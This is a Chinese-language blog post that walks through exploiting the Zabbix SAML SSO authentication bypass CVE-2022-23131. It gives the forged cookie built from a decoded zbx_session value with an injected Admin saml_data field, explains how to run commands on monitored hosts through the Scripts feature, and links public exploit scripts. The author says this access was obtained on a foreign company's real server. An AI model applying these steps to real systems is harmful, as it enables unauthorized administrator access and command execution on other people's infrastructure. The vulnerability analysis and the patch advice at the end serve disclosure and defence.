0x00 前言
最近在復現zabbix的漏洞(CVE-2022-23131),偶然間拿到了國外某公司zabbix服務器。Zabbix Sia Zabbix是拉脫維亞Zabbix SIA(Zabbix Sia)公司的一套開源的監控系統。該系統支持網絡監控、服務器監控、雲監控和應用監控等。Zabbix Frontend 存在安全漏洞,該漏洞源於在啟用 SAML SSO 身份驗證(非默認)的情況下,惡意行為者可以修改會話數據,因為存儲在會話中的用戶登錄未經過驗證。 未經身份驗證的惡意攻擊者可能會利用此問題來提升權限並獲得對 Zabbix 前端的管理員訪問權限。
0x01 漏洞原因
在啟用 SAML SSO 身份驗證(非默認)的情況下,惡意攻擊者可以修改會話數據來實現身份認證繞過。未經身份驗證的惡意攻擊者可能會利用此問題來提升權限並獲得對 Zabbix 前端的管理員訪問權限。
該漏洞存在於index_sso.php文件中,由於index_sso.php文件未調用CEncryptedCookieSession::checkSign()方法對cookie進行校驗,且客戶端的cookie可被偽造。
從index_sso.php文件中可以看出,當偽造的cookie中存在saml_data時,獲取username_attribute的數據,如果該用戶真實存在則會生成一個sessionid從而實現身份認證繞過
0x02 漏洞影響
5.4.8
5.0.18
4.0.36
0x03 漏洞復現
執行curl -ksSIL http://xxx.com/
獲取到set-cookie的值,然后先進行url解碼,然后再進行base64解碼
URL解碼:
eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdndytDUlpqeVJyQUJ5WDk5bGhNMVVHbFM4cTRwNjBKb1wvUGc9PSJ9
Base64解碼:
{"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}
然后拼接字符串
{"saml_data":{"username_attribute":"Admin"},"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}
拼接之后在進行base64加密
然后在進行URLEncode
執行命令
找到Administration--> Scripts 創建新的腳本,這里我創建的ifconfig
在監控中找到最新數據,然后篩選出來你想執行的主機組,點擊主機名執行對應命令
或者
GitHub漏洞利用腳本:
https://github.com/L0ading-x/cve-2022-23131
https://github.com/Mr-xn/cve-2022-23131
執 行腳本,Admin為默認的高權限用戶,獲取 其session值。
![]()
替換cookie中的zbx_session值為payload,接着點擊 Sign in with Single Sign-On (SAML) ![]()
或者使用EditThisCookie 對cookie值 進行替換![]()
成功繞過登錄,進入系統。
![]()
0x04 修復方法
1、禁用 SAML 身份驗證
2、升級安全版本(https://support.zabbix.com/browse/ZBX-20350)